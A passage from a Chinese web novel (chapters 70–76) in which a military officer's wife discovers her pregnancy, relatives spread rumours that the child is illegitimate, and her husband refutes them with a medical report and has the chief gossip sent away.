张主任检查完毕,站起身,脸上的表情,变得极其古怪。他看了一眼傅老爷子,又看了一眼白凝凝,最后将目光,落在了那个还在地上“昏迷”的傅建军身上,用一种忍着笑又带着一丝怒气的专业口吻,对周围的人说道: “各位,不用紧张。” 他清了清嗓子,声音洪亮地宣布了诊断结果: “傅主任的生命体征非常平稳,心率、血压、呼吸都……非常正常。瞳孔对光反射灵敏,神经系统未见任何异常。根据我多年的临床经验判断,傅主任这既不是中风,更不是脑溢血,而是……” 他故意拉长了声音,在所有人好奇的目光中,说出了那个让傅家大房颜面扫地的词: “……‘癔症性昏厥’。通俗点说,就是情绪太激动,自己把自己给‘吓晕’过去了。没什么大碍,掐掐人中,让他自己缓一会儿,就醒了。” “噗——!” 此言一出,全场宾客,再也忍不住了! 一阵压抑不住的、此起彼伏的哄笑声,在大厅里蔓延开来! “吓晕的?哈哈哈,这可真是闻所未闻!” “演戏演砸了吧?这下可丢人丢到姥姥家了!” “我就说嘛,傅家大房这家人,就没一个靠谱的!” 躺在地上的傅建军,只觉得自己的脸皮,在这一刻,被彻底地、无情地撕了下来,扔在地上,被上百只脚,来来回回地反复践踏! 他再也装不下去了!他猛地从地上一跃而起,指着张主任的鼻子,色厉内荏地吼道:“你胡说!我……我明明……” 他那副中气十足、生龙活虎的样子,更是坐实了“装病”的事实! 哄笑声,更大了。 傅老爷子的脸,已经彻底黑成了锅底。他手中的拐杖,因为用力而微微颤抖。他这辈子,都没像今天这么丢人过! 李茹和楚小小也傻眼了,她们看着那个像小丑一样站在大厅中央的傅建军,恨不得当场找个地缝钻进去!她们精心策划的“临终托孤”苦情大戏,还没开演,就变成了一场让整个京市圈子都笑掉大牙的闹剧! 然而,就在傅建军还想挣扎着辩解什么,试图挽回一丝颜面时——主桌上,一道香气扑鼻、造型精美的“松鼠鳜鱼”被端了上来。那股酸甜中带着一丝鱼腥的味道,瞬间引爆了白凝凝的肠胃! “唔……” 一股强烈的恶心感猛地从胃里翻涌上来,白凝凝脸色一白,再也忍不住,猛地捂住嘴,转身就往洗手间的方向跑去。 第71章 凝凝的孕吐 “凝凝!” 傅清寒脸色大变,几乎是瞬间就从座位上弹起,他眼中所有的冷静自持都在这一刻化为浓浓的担忧,立刻放下碗筷,大步流星地追了过去。 这突如其来的一幕,让全场都安静了一瞬。 在座的宾客们,尤其是那些经验丰富的夫人们,都交换了一个心照不宣的眼神——这反应,太像害喜了! 而另一边,正准备“发病”的傅建军,动作僵在了原地。 楚小小和李茹更是像被按了暂停键,脸上的表情精彩纷呈! 怀孕?! 白凝凝也怀孕了?! 这个认知,像一道惊雷,狠狠地劈在了她们母女的头顶! 李茹的第一反应,根本不是震惊,而是愤怒!她立刻拽住楚小小的手,压低了声音,咬牙切齿地说道:“你看她!你看她那个小贱人!早不吐晚不吐,偏偏在你公公要上台的时候吐!她肯定是听到了什么风声,故意装的!她就是想用这种下三滥的手段,来跟我们争家产!” 楚小小也立刻反应过来,眼中闪过一丝怨毒:“妈,你说得对!她肯定是装的!傅清寒根本就生不了,她怎么可能怀孕?她就是想抢在我们前面,博取爷爷的同情!” “装?”李茹的嘴角勾起一抹冷笑,“那就让她装!我倒要看看,一个假孕妇,怎么跟我们货真价实的‘金孙’斗!” 她们这边正自以为是地分析着,洗手间里,却是另一番光景。 “呕——” 白凝凝扶着洗手池,吐得天昏地暗,感觉五脏六腑都要翻江倒海。傅清寒在一旁焦急地为她拍着背,看着她那副难受的样子,眉头紧紧地拧成了一个川字,声音里满是担忧。 “怎么回事?是不是吃坏肚子了?还是……酒席上的哪道菜不干净?”他一边说,一边递上温水让她漱口。 白凝凝漱完口,靠在他怀里喘着气,脸色白得像纸。她也觉得奇怪,最近总是莫名地犯恶心,闻到一点油腻的味道就反胃。 一个念头,像闪电一样划过她的脑海,让她的心猛地一跳。 她下意识地抬起左手,将右手的三根手指,轻轻地搭在了自己左手的寸口脉上。 “怎么了?”傅清寒看她动作古怪,不解地问。 白凝凝没有回答,只是闭上眼睛,神情专注地感受着自己指尖下的脉搏跳动。 一秒,两秒,三秒…… 当她感受到那如盘走珠、应指圆滑、往来流利的“滑脉”时,她的呼吸,瞬间一滞! 滑脉,是喜脉! 她……真的怀孕了?! 这个认知让她整个人都懵住了。她和傅清寒,最近黏黏糊糊,倒是有过那么几次,而且……时间掐指一算,自己这个月的月事,确实推迟了快十天了! 她缓缓睁开眼,那双清澈的眸子里,混杂着震惊、茫然,欣喜和一丝无措? 她一个自诩医术高深的医生居然没第一时间察觉自己怀孕……总是觉得有些许的尴尬…… 傅清寒看着她那副失魂落魄的模样,心中更是焦急万分,他扶着她的肩膀,紧张地问道:“凝凝!到底怎么了?你别吓我!是不是有什么问题?你给自己看出来什么了?” 白凝凝看着他那双写满了担忧的眼睛,张了张嘴,却发现自己一个字都说不出来。 她该怎么告诉他? 告诉这个被全世界都判了“死刑”的男人,他要当爸爸了? 告诉他自己跟个白痴一样,居然没察觉到自己怀孕了? 他…会不会笑死? —— 傅清寒半扶半抱着白凝凝从洗手间出来,只见白凝凝整个人埋在傅清寒怀里,连站都站不稳(其实一般是吐得难受,一半是害羞和尴尬)。那副模样,根本不是能“装”出来的! 傅清寒的脸上,更是混杂着心疼、紧张,明眼人都看得出是初为人父的无措。他直接对身旁的警卫员下令:“去!立刻让饭店准备一杯温热的蜂蜜水!再去车里把我的军大衣拿来!” 那副紧张到小题大做的架势,让所有人都看明白了——这不是演戏! 这一幕,像一记重锤,狠狠地砸在了楚小小和李茹的面前! 她……她竟然是真的怀孕了?! 李茹脸上的血色瞬间褪去。这怎么可能?! 傅清寒绝嗣,这可是铁板钉钉的事实! 楚小小更是如遭雷击!她最大的依仗,她那“唯一的金孙”这张王牌,瞬间就不“唯一”了!一旦白凝凝生下孩子,尤其如果是个儿子,那她和她肚子里的这个,在傅家的地位将一落千丈! 她下意识地看向自己的母亲李茹,眼中满是恐慌和求助,“妈……” 而李茹,在经历了最初的震惊之后,一个让令人兴奋到战栗的念头,疯狂地冒了出来—— 傅清寒当年的传闻不是秘密——那可是被国内外最顶尖的专家都判了“死刑”的绝症!白凝凝就算医术再高,怎么可能在这么短的时间内就逆天改命?! 也许…也许…那孩子……根本不是傅清寒的! 这个认知,让李茹瞬间找到了主心骨!她不仅不慌了,反而像打了鸡血一样,兴奋了起来! 只要把白凝凝肚子里的那个“野种”搞掉,那她女儿的孩子,就将永远是傅家“唯一”的继承人!傅清寒现在拥有的一切,将来都将是她外孙的! 李茹立刻将楚小小拉到一旁无人的角落,反锁上门。 “慌什么!”她看着女儿那副没出息的样子,恨铁不成钢地戳了一下她的额头,“天大的好事送上门了,你还哭丧着脸!” “妈,这还叫好事?她都怀孕了,万一要是个儿子那不就全完了……” “儿子?”李茹冷笑一声,那笑声里充满了不屑和恶毒,“一个野种,也配叫傅家的儿子?” 她压低了声音:“你忘了傅清寒当年是什么情况了吗?他根本就生不了!白凝凝肚子里的,百分之百是个野种!她就是为了巩固自己的地位,在外面偷人,想拿个野种来蒙骗傅家!” 她凑到楚小小耳边,继续说道:“我们现在要做的,就是让所有人都知道这个‘真相’!我要让白凝凝那个小贱人,身败名裂,被傅家扫地出门!让她知道傅家的长孙只有你肚里这一个!” “可是万一……”楚小小还是有点犹豫,“别人不都说她医术高超……万一傅清寒真的被她治好了?” “没有万一。”姜还是老的辣,李茹丝毫不慌,“都到了现在这一步了,真的假的重要吗?只要让人觉得是真的就行了。至于将来……”她的眼中闪过一丝狠厉,“怀胎十月,她能不能生下来,谁说得准呢?” 第72章 伺机而动的林晚晴 接下来的几天,李茹便开始行动了。 她利用自己曾经的“局长夫人”人脉,有意无意地组织了几场牌局。牌桌上,她一边唉声叹气地抱怨自家女婿傅向阳如何命苦,一边又“不经意间”透露出一些精心编织过的“细节碎片”。 “唉,说起来,傅家那个老二,就是向阳他小叔清寒……当年伤得多重啊,连国外专家都下了绝嗣诊断书呢……” “我们家小小去看过凝凝几次,你猜怎么着?老看到她跟那个陈家大公子,还有那个姓陆的药厂少爷在一起,说是谈工作,可谁知道呢?和别的年轻男人走得近,总归是不太好嘛……” “最可怜的还是我们家小小,想问问凝凝肚子里的孩子是怎么回事,又不敢说,不敢问,怕被人说她嫉妒……这哑巴亏吃的,我看着都心疼!” 这些被刻意拆分开的“猛料”,像一颗颗下了饵的钩子,精准地投喂给了牌桌上那几位最爱八卦、也最有影响力的官太太。 这些话,像一个个最新鲜保熟的大瓜,瞬间就勾起了大院里那些官太太们最原始的八卦欲望和丰富的联想力! “听说了吗?傅家二房那个神医儿媳,怀的根本不是傅清寒的种!” “真的假的?!” “千真万确!她男人当年伤了根本,是全世界都知道的事!她肯定是看傅家有权有势,所以在外面偷人,想借个‘野种’上位呢!” “我的天,这也太大胆了吧?她跟谁啊?” “还能有谁?不就是陈家那个大公子陈慕白,还有那个陆家的少爷陆泽远呗!我可听说了,她天天跟那两个男人腻在一起,打着‘谈生意’的幌子,谁知道背地里干些什么见不得人的勾当!” “啧啧啧,真是知人知面不知心啊!亏我们之前还把她当神医一样捧着!原来玩得这么花!” 流言如刀,刀刀见血。 这一次,流言不再是攻击“凝悦”的产品,而是直接对准了白凝凝的私德和她腹中孩子的血统! 李茹和林晚晴散播的那些“野种”流言,传到了陈瑶的母亲张梦云的耳朵里。 她在一次太太们的牌局上,听到了李茹那边传出来的“惊天内幕”。一回到家,就立刻将陈瑶拉进了房间,一脸严肃地,将听来的话,添油加醋地对女儿说了一遍。 “瑶瑶,我跟你说,你以后离那个白凝凝远一点!这个女人,心机太深了!”陈夫人压低了声音,脸上是掩饰不住的鄙夷,“上次傅家老爷子寿宴,她害喜了!” “害喜?!”陈瑶震惊地捂住了嘴,“不是说傅家老二不是……” “是啊!”陈夫人点了点女儿的额头,眼神里充满了不屑,“傅清寒当年是什么情况?那可是连国外专家都下了诊断书,判了‘死刑’的!他根本就生不了孩子!” “那……那孩子……” “还能是谁的?她最近跟那个你心心念念的陆家小子,走得特别近!整天待在一个实验室里,孤男寡女的,能不出事吗?还有你哥!你哥也是被她灌了迷魂汤,天天往她那儿跑!我真怕你哥也被她给蒙蔽了……” “妈!您别胡说!陆大哥和我哥都不是那种人!”陈瑶立刻打断了母亲的话,但她的心里,却已经掀起了滔天巨浪! 自己大哥绝不可能! 至于陆大哥,自己暗恋那么久,知道他对女人向来都保持距离,怎么可能和白凝凝做那种事? 可……前几天他还因为白凝凝训斥自己,说自己没脑子,难道他真的被那个狐狸精给骗了…?! 白凝凝你好得很啊!两个“绯闻对象”,一个是她尊敬的兄长,一个是她爱慕的男人! 那么多男的不去撩拨,非要盯着自己身边的! 就在她怒火中烧,不知道该如何发泄的时候,家里的电话,响了。 电话那头的声音轻柔又熟悉,不是别人,正是许久没有出现的林晚晴。 “瑶瑶妹妹,是我,晚晴姐。好久不见,最近还好吗?” “啊?晚晴姐?你怎么……你不是被关起来了吗?”陈瑶又惊又疑。 —— 林晚晴上次对凝悦”的政治攻讦,林父为了平息傅家和陈家的怒火,第一时间做出切割,表现出非同一般的气度来“大义灭亲”—他亲自拨通了公安局的电话,以“诽谤罪”和“扰乱社会治安罪”,亲手将自己的女儿送进了看守所! 林晚晴,这位曾经的天之骄女,已经在看守所里结结实实地待了半个月! 这半个月对她而言,比死还难受。她被剃掉了精心养护的长发,换上了灰扑扑的囚服,和真正的罪犯关在一起。她所有的骄傲、体面和优越感,都在那冰冷的铁窗和馊掉的饭菜里,被彻底碾得粉碎。 在所有人看来,这位曾经的天之骄女,已经彻底失势,成了一个笑话,再也掀不起任何风浪。 然而,教育改造不是万能的。 拘留生活不止没能让她知错,恨意更是上一个新的台阶。 如果不是白凝凝,自己现在还是天之骄女,怎么会被家族抛弃!被傅清寒羞辱!现在被整个圈子嘲笑,社会性死亡! 白凝凝就是始作俑者!万恶之源! 而她林晚晴绝不认命! 君子报仇十年不晚! 在看守所里,她并没有像普通囚犯一样哭天抢地、悔不当初。相反,她异常冷静。她知道,正常的申诉和求情已经毫无用处,她必须找到一个能帮她“翻盘”的机会。 终于她等到了探视这一天,来人是她母亲派来,从小就贴身照顾她的女仆刘沫。刘沫话不多,但对她向来忠心耿耿。 所以当刘沫把现在外界散播的那些“野种”流言,传到了她的耳朵里时,林晚晴知道,她的机会来了。 她立刻让刘沫,通过一条秘密的线路,拨通了陈瑶的电话。 “瑶瑶,清者自清,我是被冤枉的。我所受的一切都是拜白凝凝所赐。是她故意舍得陷阱!”林晚晴的声音,“瑶瑶,你信姐姐吗?”她从容优雅的声音带了一点疲惫。 陈瑶听出来的了,“晚晴姐!你别怕!你是不是受苦了?”陈瑶立刻义愤填膺地说道,“我知道你不是那样的人!都是那个白凝凝的错!你都不知道你不在,她有多过分!她……她竟然怀了野种!她把我哥和陆泽远都当傻子耍!简直是不要脸到了极点!” 第73章 流言蜚语 “唉……”电话那头,林晚晴又是一声长长的叹息,那叹息里,充满了对陈瑶“单纯”的心疼和对世道不公的无奈,“瑶瑶,这件事……我也听说了。我被关在这里,什么都做不了,只能干着急。我心疼清寒被戴了绿帽子还不自知,更心疼你哥哥,被那个女人迷得团团转,成了她遮掩丑事的挡箭牌。”这番话,说得陈瑶心里熨帖极了!她觉得,整个京市,只有林晚晴一个人,是真正理解她、心疼她的! “那……那我们难道就这么看着她得意吗?!”陈瑶不甘心地问道。 “当然不能!”林晚晴的语气,忽然变得激昂起来,充满了“正义感”,“瑶瑶,你和我不一样。你是陈家的女儿,是傅家的亲戚!你站出来说话,分量是不一样的!你是在捍卫你们两家的脸面和荣誉!” 林晚晴知道自己被困,现在唯一的指望就是陈瑶,开始给她疯狂地“戴高帽”,煽动着她那本就岌岌可危的理智: “你想想看,如果你能亲手揭穿这个女人的真面目,那你就是你们家族的功臣!你不仅保护了你哥哥不被蒙骗,也保护了傅家的声誉!你是在做一件所有人都想做,却不敢做的大好事!” “你不是在针对谁,你是在捍卫正义!” “而且也是为了保护了陆泽远!你舍得你的陆哥哥被白凝凝这样的人诓骗吗?” 这一番话,彻底点燃了陈瑶那被愤怒和嫉妒冲昏的头脑! 对!她是在捍卫正义!更是在保护她喜欢的陆泽远! “晚晴姐,你说得对!”陈瑶的眼中,迸发出了狂热的光芒,“我不能再坐视不管了!我必须让所有人都知道真相!” 几天后,在一场京市顶级名媛的聚会上,当有人再次提起“凝悦”和怀孕的白凝凝时,陈瑶“砰”地一下放下手中的咖啡杯,一脸义愤填膺地站了起来! 所有人都被她这突如其来的举动,惊得安静了下来。 陈瑶看着众人,深吸一口气,用一种充满了悲愤和“大义凛然”的语气,大声地说道: “你们都在恭喜她,可你们是不是都忘了?” “忘了清寒哥当年在战场上受的伤?忘了他这辈子,都不可能有自己的孩子了?!” 她的话,像一盆冰水,瞬间浇醒了在场的所有人。 对啊!傅清寒是绝嗣啊!这是全京市都知道的事!那白凝凝的孩子…… 看着众人脸上那副想问又不敢,充满八卦的神情,陈瑶知道,她的目的达到了。 她继续加码,用一种充满了“知情者”优越感的语气,痛心疾首地说道: “我今天,就以我陈家和傅家共同的家人的身份,提醒大家一句!” “那个女人,她为了争家产,为了巩固自己的地位,什么事都做得出来!她肚子里的孩子,来路不明!我哥也是被她蒙蔽了双眼,才会处处帮着她!” “我亲眼看到过,她和别的男人,在工作室里举止亲密,关系不清不楚!具体是谁,我都不好意思说,怕脏了大家的耳朵!” 她不想让人把那个坏女人和陆哥哥牵扯到一块,刻意将他隐去,只是语焉不详提到了别的男人。 “我把话放在这里!我们陈家没有这样不知羞耻的孙女!” 陈瑶的这番话,如同在熊熊燃烧的舆论烈火上,又浇上了一桶最猛的汽油! 毕竟,她可是陈慕白的亲妹妹!她说的话,在所有人看来,就是“官方认证”! —— 流言蜚语,不再是太太圈里私下的窃窃私语,而是变成了摆在台面上的、对白凝凝和傅家、陈家赤裸裸的恶意揣测。 “我就说吧!陈家亲孙女都出来说话了,这事还能有假?” “啧啧,真是家门不幸啊!傅清寒那么一个英雄人物,竟然被戴了这么大一顶绿帽子!” “最可怜的还是陈家,好心认个干孙女,结果引狼入室,把自家的名声都给败坏了!” 白凝凝走在大院里,都能感受到那些曾经敬畏、羡慕的目光,如今已经变成了毫不掩饰的鄙夷、同情和幸灾乐祸。 秦悦气得在工作室里直跳脚,好几次都想冲出去跟那些长舌妇理论,却都被白凝凝拦了下来。 “没用的,”白凝凝坐在窗边,看着外面阴沉沉的天,声音里透着一股前所未有的疲惫。她揉了揉眉心,只觉得浑身提不起劲,连生气的力气都没有了。 怀孕,对她而言,是一场甜蜜的“负担”。腹中的小生命,像一个不知餍足的小饕餮,正源源不断地吸取着她体内本就不多的内劲和灵气。尤其是那块能滋养她灵力的“天枢珏”,她能清晰地感觉到,玉佩里的温润灵气正缓缓地、持续地流向腹部,滋养着那个与她血脉相连的小家伙。 灵力的消耗,加上孕期激素的急剧变化,让她变得异常敏感和脆弱。她知道自己不该理会那些流言,但负面情绪却像不受控制的藤蔓,将她紧紧缠绕,让她变得焦躁、易怒,又时常陷入一种莫名的倦怠和消沉。 她讨厌这样的自己,却又无力摆脱。 而傅清寒,更是将这一切都看在眼里,疼在心里。 他知道,这不是他那个冷静自信的小妻子该有的状态。他去请教了李院长,也翻遍了白凝凝的医书,明白这是孕期最正常不过的生理和心理反应。 他心疼得无以复加。 他知道,她之所以不说,之所以不闹,一部分是因为她那倔强和骄傲,而另一部分,更是因为怀孕导致的虚弱让她连争辩的力气都没有了。她不想让他看到她的脆弱,不想让他觉得自己像个需要被保护的小女孩。 这天晚上,白凝凝又一次在噩梦中惊醒。她梦到自己被无数人指着鼻子骂“野种”、“荡妇”,而傅清寒就冷冷地站在不远处,眼神里充满了失望和厌恶。 她惊坐而起,冷汗湿透了睡衣,心脏狂跳不止。 一只温暖干燥的大手,从黑暗中伸了过来,将她冰凉的小手紧紧握住。随即,一个坚实而又温暖的怀抱,从身后将她紧紧圈住。 “又做噩梦了?”傅清寒的声音,在寂静的夜里,沙哑得让人心疼。 白凝凝的身体一僵,没有说话,只是将头埋得更深。 傅清寒将她抱得更紧,下巴抵着她的头顶,语气满是自责和心疼,在她耳边,一字一句地说道: “凝凝,对不起。” “是我的错。是我没有保护好你。” “是我让你受委屈了。” 第74章 傅清寒杀鸡儆猴 傅清寒的怀抱,像一座最坚固的堡垒,仿佛可以隔绝了外界所有的风雨和恶意。 白凝凝的眼泪,在这一刻,再也无法抑制,无声地滑落,浸湿了他的胸膛。 她不是不委屈,不是不难过。她只是不想在他面前,表现出丝毫的软弱,而现在他都知道。 他摸了摸小妻子的头发,“睡吧,凝凝。不管你梦到什么,我保证明天一觉醒来就什么都会消失的。”说着,他把人紧紧揽入怀里。“我保证。” 不知过了多久,她慢慢睡去…… 他看着白凝凝因为怀孕而愈发慵懒娇憨的睡颜,此时带上了些许脆弱,眼中的疼惜几乎要溢出来。给她掖好被子,傅清寒慢慢起身,转身走出卧室。 那双深邃的黑眸里,所有的温柔都瞬间褪去,取而代之的,是冰冷刺骨的、暴风雨来临前的死寂。 他知道,仅仅隔绝是不够的。他要做的,是让那些风雨,再也不敢靠近他的堡垒。 他走到书房,拿起电话,拨通了詹骁的号码。 “老大,这么晚了有什么吩咐?” “查。”傅清寒的声音不带一丝温度,“从楚小小她妈李茹开始,查清她在京市所有的社交圈子,尤其是最近和她走得近的牌友、邻居。把那个‘野种’流言的源头,给我挖出来。” “是!”詹骁感受到了自家老大那滔天的怒火,一个激灵,立刻领命。 傅清寒坐在黑暗里,静静地等待着。他知道,对付这种盘根错节、捕风捉影的流言,最忌讳的就是乱打一气。 流言牵扯的人太多,从说三道四的邻里,到捕风捉影的牌友,再到恶意传播的名媛……如果一个个去纠正,一个个去追责,不仅会耗费巨大的精力,效果也微乎其微,甚至会给人留下“仗势欺人”的口实。 所以,他需要用最无可辩驳的事实,釜底抽薪,一击致命。 他需要处理两件事。 一件事是出具自己的健康证明,从根源上彻底粉碎这个谣言的基础。他要用最权威的医学证据,让所有质疑他的人,都闭上嘴。 另一件事,就是揪出这场风波的始作俑者。他要在所有传播者中,找出那个身份最“权威”、影响最恶劣、跳得最高的“领头羊”,然后用雷霆手段,当众处置,以儆效尤。 有些人,有些账,是时候该清算了。 第二天一早,当白凝凝还在熟睡时,傅清寒就已经穿戴整齐。他没有穿那身熟悉的军装,而是换上了一身剪裁合体的深色便服,整个人看起来少了几分军人的锋锐,却多了几分世家子弟的矜贵与压迫感。 他俯身在白凝凝额上印下一个轻柔的吻,这才转身离开。 他没有立刻去医院,而是先去见了詹骁,拿到了那份连夜调查出来的、详尽的关系网和通话记录分析报告。 看着报告上,那条清晰地指向李茹的煽风点火和陈瑶推波助澜。 李茹的敌意早在意料之中,她和楚小小本就是一根绳上的蚂蚱,至于陈瑶…… 傅清寒的嘴角,勾起一抹冰冷的、毫无温度的讥讽。这个陈家唯一的女儿,凝凝名义上的妹妹,居然污蔑自家人,难道她丝毫不懂一荣俱荣的道理? 真是蠢不可及。 他低头继续扫视手里的报告,直到看到来自看守所打向陈家的通信记录。 林晚晴? 这里面居然还有她的事,自己还真是小看了她。 看来关在看守所里还是不够安分,需要一些特别的关照了。 理好所有头绪,他收好报告,这才回去叫醒了还在睡梦中的白凝凝。 白凝凝睡眼惺忪地坐在副驾驶上,揉着眼睛问他:“怎么起这么早?去哪儿啊?” 傅清寒握住她的小手,放在唇边亲了一下,语气宠溺却又带着一丝不容置喙的霸道:“去医院。做个检查,然后……我们去看戏。” 他没有告诉她自己的全盘计划,他只想让他的小姑娘,安安心心地,等着看结果就好。 所有的风雨,他来扛;所有的敌人,他来扫平。她只要安心养胎就行了。 他的目光落在凝凝还不明显的小腹上,那里是他的孩子,他之前从未奢望能拥有的孩子。 他把人揽进怀里,动作小心温柔,这里就是他的家,是他的全世界。 等到了医院,院长李建国一听傅清寒的来意,立刻就明白了事情的严重性。那些关于傅家的流言,他也略有耳闻。他不敢有丝毫怠慢,亲自安排了院里最权威的妇产科和男科专家,为两人进行了一次最全面、最细致的检查。 检查结果很快就出来了。 一份是白凝凝的B超单,上面那个小小的孕囊,虽然只有豆粒大小,但图像清晰,各项指标都显示着它的健康与活力。 另一份则是傅清寒的检查报告,一式三份,由泌尿科、男科、内分泌科各位专家联合签字,并加盖所有医院的公章,确保其绝对的权威性和公正性。 报告的结论,清晰而又震撼—— “……经多方联合诊断,傅清寒同志三年前因战伤导致的生殖系统功能性障碍,已完全康复。其目前身体各项机能指标,不仅恢复到了正常男性的标准,甚至……在某些方面,远超于同龄健康男性的平均水平。其身体状况,完全具备,且非常适合进行正常的生育活动……” “远超于……平均水平?” 一个年轻的专家看着报告上的数据,忍不住倒吸了一口凉气。这……这简直就是医学奇迹! 李建国院长也激动得满面红光!他知道,这两份报告,不仅仅是傅家私事的证明,更是白凝凝那神乎其技医术的铁证!是足以让整个军区总院都跟着扬眉吐气的无上荣耀! 他当即拍板,以军区总医院的官方名义,将这两份报告,以及傅清寒三年来完整的康复治疗记录,整理成一份详尽的“医学奇迹案例分析报告”,盖上鲜红的公章,火速上报给了军区司令部! 而傅清寒要的,就是这个效果! 他要用最官方、最权威、最无可辩驳的方式,将事实公之于众! 傅清寒将报告仔细地收进牛皮纸袋里。一件事已经做完了,还有剩下的一件事。 他方向盘一转,径直开向了陈家老宅。 他要杀鸡儆猴。而那只跳得最高、叫得最欢的“鸡”,就是陈瑶。 —— 第75章 陈瑶的反思 陈家老宅。 当陈瑶看到傅清寒和白凝凝携手而来,并且将那个牛皮纸袋“啪”的一声拍在客厅的红木八仙桌上时,她的脸,“唰”的一下,血色尽失。 “清寒哥……姐姐……你们怎么来了?”她心虚地站起身,声音都在发颤。 傅清寒甚至懒得多看她一眼,他只是对着闻讯从书房走出来的陈老总和陈慕白,声音冰冷而又克制:“我敬重陈爷爷,也拿慕白当朋友。但你的孙女,你的妹妹,一而再、再而三地污蔑我的妻子,质疑我傅清寒亲生骨肉的血统。” 他顿了顿,将那份关于他自己的鉴定报告,从纸袋里抽出,推到了陈老总面前,声音里带着不容置喙的决断: “今天,我是来讨个说法的。这件事,陈家必须给我一个交代。” 陈老总拿起那份报告,浑浊的老眼里闪过一丝震惊,随即,是滔天的怒火!他看着那白纸黑字,看着上面专家们的联合签名,气得浑身发抖,手中的拐杖重重地敲着地面! “混账东西!”他指着陈瑶的鼻子,气得嘴唇都在哆嗦,“是你带头的?你……你真是太无法无天了!这种往自己家人身上泼脏水的混账事,你也干得出来?!你眼里还有没有我这个爷爷?!还有没有你姐姐?!你居然还伙同外人怀疑你的哥哥!” 老爷子目眦尽裂,说着拐杖都要往她身上抡去。 陈瑶作为陈家唯一的女孩子,从小就是娇生惯养长大,平时无论自己做什么,爷爷和哥哥都是一笑了之,哪里见过这样的阵仗,一时间也吓傻了。 拐杖都落在身上,才如梦初醒,吓得当场眼泪就飙出来,腿一软,差点跪在了地上,“爷爷……那么多人说,又不是我一个人讲,为什么就说我。再说他们要是真的清清白白,为什么害怕别人说……” “你!混账东西!”陈老总气得胸口发闷,“你还敢在这里胡说八道!” 陈慕白赶紧扶住爷爷,蹙眉看着这个被惯得不成样子的妹妹,“瑶瑶,你太让我失望了。” 陈瑶见爷爷脸色不好看,哥哥也是从没见过的严肃冷漠样子,旁边的傅清寒更是满脸冰霜,一副阎王再世的样子。一时间也怂了,不敢再犟嘴,小声道:“我……我错了……爷爷我错了……我只是听别人说的……我不是故意的……” “你!晚了!”陈老总一摆手,脸上满是痛心和失望。他知道,傅清寒今天亲自上门,就绝不是小事化了那么简单。如果不给他一个满意的交代,两家的关系,甚至都会出现裂痕。 至于陈瑶,真的是自己把她惯坏了,再不管教将来后患无穷。 他看向傅清寒,沉声说道:“清寒,凝凝,是爷爷教孙无方,让你们受委屈了。你说要怎么办,爷爷绝无二话!” 傅清寒看着几乎跪在地上的陈瑶,眼神里没有一丝一毫的怜悯。 处理陈瑶是杀鸡儆猴,也是向外界表明一个态度。 “陈爷爷,我知道您宝贝这一个孙女,但这件事闹成这样必须有个结论,”他声音不高,却一字一句都咬得极为清楚,“从今天起,我不想在京市再看到她。西郊有个军马场,环境不错,适合静心。把她送去那里,什么时候学会了什么叫‘尊重’,什么时候再回来。” 送去军马场!那地方偏僻又辛苦,跟流放有什么区别?! 陈瑶难以置信地瞪大了眼睛,还想再求饶,却被身旁的陈慕白一个严厉的眼神制止了。 陈慕白上前一步,对着傅清寒和白凝凝,郑重地鞠了一躬:“清寒,凝凝,对不起。是我们的错。瑶瑶她……咎由自取。就按你说的办。” 他心里明白,傅清寒这已经是看在两家多年的情分上手下留情了。如果这件事闹大,捅上去,陈家的脸面,只会丢得更难看。 当天下午,警卫员就开着车,准备送陈瑶去西郊的军马场。 陈瑶哭得双眼红肿,不情不愿地被哥哥陈慕白送上了车。 临上车前,陈慕白看着自己这个从小被宠坏的妹妹,眼中闪过一丝不忍,但更多的是恨铁不成钢的失望。 傅清寒不了解陈瑶,但他了解自己的妹妹,她虽然骄纵鲁莽,但更多是小孩子心性,更没有那么深的城府。这件事八成是有人在背后捣鬼,撺掇着瑶瑶伸头当枪使。 他将一个包裹递给她,里面是一些生活用品和几本书。 “瑶瑶,”他的声音,不再是平时的温和,而是带着一丝少有的严肃,“到了那边,好好反省。你想想,你为什么会这么轻易地就相信了那些荒唐的流言?” “我……”陈瑶还想嘴硬,“我不是听妈说的吗……” “妈也是听别人说的!”陈慕白打断了她,目光锐利地看着她,“你再好好想想,这些话,是从谁的圈子里传出来的?又是谁撺掇的你?有的人接近你,是真的把你当朋友,还是把你当成了一把可以随意利用的、愚蠢的枪?” 陈瑶一时语塞,她从未考虑过这个问题。 他看着自己妹妹那茫然的、似乎从未思考过这个问题的脸,心中叹了口气。 他凑到她耳边,用只有两人能听到的声音,轻声点拨了一句: “瑶瑶,这个世界上,不是所有人都像家人一样真心对你。有些人,嘴上亲热,姐姐妹妹的喊着,心里却巴不得看你家宅不宁。她们利用你的身份去攻击凝凝,无论成败,她们都毫发无伤,而你,却成了那个被推到台前的、唯一的蠢货。” “你已经不小了……好好想想吧。” 说完,他不再多言,拍了拍车门,示意警卫员开车。 吉普车缓缓启动,带走了陈瑶的哭声。但陈慕白那几句信息量巨大的话,却像一颗颗投入她脑海的石子,激起了千层涟漪。 她开始不受控制地回想:是谁……总是在自己面前,一边夸自己单纯可爱,一边又不动声色地诋毁白凝凝的?是谁……在自己冲动地要去“揭穿真相”时,还在旁边煽风点火,说自己是“捍卫正义”,说让自己保护好陆哥哥? 想到陆哥哥,她心里又是一阵酸涩,他知道自己被流放了吗?他和哥哥、傅清寒他们那么要好,肯定也会听说吧。 他会怎么想自己?也和哥哥一样觉得自己是个蠢货吗? 一想到这里,她眼眶发酸。 是谁把自己害成这样的?哥哥说的表面和自己做朋友,背地里算计自己的人是谁? 一个优雅端庄,却总是有意无意为自己鸣不平的身影,渐渐在她脑海中清晰起来—— 林晚晴! 她坐在颠簸的车里,脸上的泪痕未干,眼中却第一次褪去了骄纵和天真,多了一丝……反思。 第76章 傅清寒对林家的敲打 陈家“大义灭亲”,将陈瑶送去军马场反省的消息,像长了翅膀一样,一天之内就传遍了整个京市的上流圈子。而那份盖着军区总医院鲜红公章的、关于傅清寒身体机能“远超常人”的鉴定报告,更是以一种非官方的、却传播得更快的“内部消息”形式,成了所有太太们茶余饭后最津津乐道的“猛料”。 这一下,所有的流言,不攻自破! “天呐!我就说嘛!傅团长那身板,怎么可能生不了?原来是早就被白神医给治好了!” “何止是治好了!报告上说,是‘远超常人’!啧啧,白神医这医术,真是……绝了!” “反正这下可有好戏看了!之前那些传闲话的,脸都被打肿了吧?尤其是那个陈家大小姐,把姐姐往死里黑,结果人家是真的!这下被送去喂马,真是活该!” “还不是因为白神医是他们陈家认的,又不是亲生的。要是亲姐姐她哪里敢啊?” “那陈慕白总是她亲哥,这下也被绕进去,还不收拾死她?” 